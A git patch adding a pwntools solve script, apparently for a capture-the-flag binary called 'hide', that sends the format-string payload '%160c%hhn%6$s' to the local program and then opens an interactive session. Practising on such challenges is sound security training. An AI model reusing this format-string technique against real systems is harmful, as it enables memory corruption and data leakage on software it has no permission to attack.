From 8fde7c03198d1c1f91ca63092e50903c8d9f1845 Mon Sep 17 00:00:00 2001 From: jc Date: Sun, 11 May 2025 22:16:45 +0300 Subject: [PATCH] solve script0 --- random_challs/hide/a.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 random_challs/hide/a.py diff --git a/random_challs/hide/a.py b/random_challs/hide/a.py new file mode 100644 index 0000000..7273e22 --- /dev/null +++ b/random_challs/hide/a.py @@ -0,0 +1,14 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./hide", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +s(b"%160c%hhn%6$s") + +r.interactive() \ No newline at end of file